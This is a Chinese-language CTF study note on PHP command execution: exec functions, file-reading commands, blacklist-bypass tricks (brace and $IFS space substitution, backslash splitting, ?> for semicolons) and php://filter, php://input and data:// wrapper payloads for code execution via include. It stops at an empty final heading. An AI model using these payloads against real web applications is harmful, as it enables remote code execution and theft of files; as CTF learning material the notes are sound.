我发现我经常会忘记php命令执行的绕过的方式所以我想这在这里写这篇关于php命令执行的总结以及题目的总结

命令执行的常见函数

1
2
3
4
5
6
1.system()//有回显
2.exec()//无回显,返回值为数组,需要使用print_r()输出
3.passthru()//有回显,与system差不多
4.shell_exec()//无回显,返回值为字符串,使用echo或print()
5.popen()//返回的是一个文件类型可以使用echo fread(popen('ls','r'),1000);执行。
6.``无回显需要使用echo输出

常见的读取命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ls //目录读取
find//目录读取
dir //目录读取
cat //文件读取(正向读取)
tac //文件读取(反向读取)
more//文件读取(东西多的时候一页一页读取)
less//和more相似
tail//读取文件的最后几行
nl //显示时顺便输出行号
od //以二进形式读取文档 可以直接使用也可以system('od -A d -c fla\g.php');这么使用
xdd //与od相似
sort//排序,同样也会输出。
file -f//利用报错进行输出
grep//在某个文件内查找字符。可以这么用system('grep * fla\g.php');或者system('grep fl fla\g.php');直接查找有fl的那一行

常见绕过

空格绕过

空格一般可以通过如下方式进行替代

1.大括号绕过

格式如下

1
system('{cat,flag}');

2.$IFS绕过

在linux里可以使用$IFS,$IFS$9(数字可以是1到9),${IFS}

3.重定向符绕过

1
2
3
<>
<(原理为加文件内容重定向到cat里)
system('cat<flag');

\反斜杠绕过

在正则配合是如果匹配的为flag那么我们就可以尝试使用\来进行绕过。如下

1
system('cat f\lag');

;分号过滤

当题目将;进行过滤时我们可以使用?>来代替分号,这是因为eval将其参数当成php代码执行,使用?>是直接结束了程序,即该句代码为最后一句即不需要;。

文件包含读取

文件包含读取其一般要利用到php伪协议,具体看这个博客php伪协议
常用如下几个伪协议,其他详细可以看上面的。

php://

php://filter

这个协议是用来查看文件内容的,由于我们在文件包含php文件时,由于存在标签<?php ?>所以并不会将文件内容输出,而是执行代码,这样我们就无法查看文件内容,所以当我们可以使用php://filter/read=convert.base64-encode/resource=来对读取的文件进行base64编码使其不会被识别为php代码。

php://input + [POST DATA]执行php代码

这个伪协议会将post传入的内容当成php代码执行

1
2
3
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>

post传入内容仍需要安装php的格式

data://

用法

data://text/plain,
data://text/plain;base64,

data://text/plain,

在后面加上要执行的php命令,后端会执行该php指令

1
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

data://text/plain;base64,

同上只不过后面的命令是经过base64编码的代码。

1
2
3
<?php
system("ls");
?>

最好使用上面的格式进行书写后再base64编码。

补充上面的为协议中的php代码可以使用<?= ?>短标签来代替<?php ?>

在php命令执行的文件包含读取,一般也算参数逃逸使用方法如下

1
2
3
4
5
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

当防火墙过滤了单双引号和括号时我们无法使用eval($_GET[1]);进行逃逸者时候我们需要使用无括号的函数进行逃逸即include。我们可以这么写

1
include%0A$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=

我们可以使用php伪协议配合include $_GET[1]进行逃逸。

利用$_GET$_POST参数逃逸绕过

有的题目可以利用将参数赋值为c=eval($_GET[1]);后向参数1传递一个命令如1=phpinfo();进行绕过由于过滤的参数为c防火墙不会过滤1所以可以绕过

无参数rce请求头绕过

#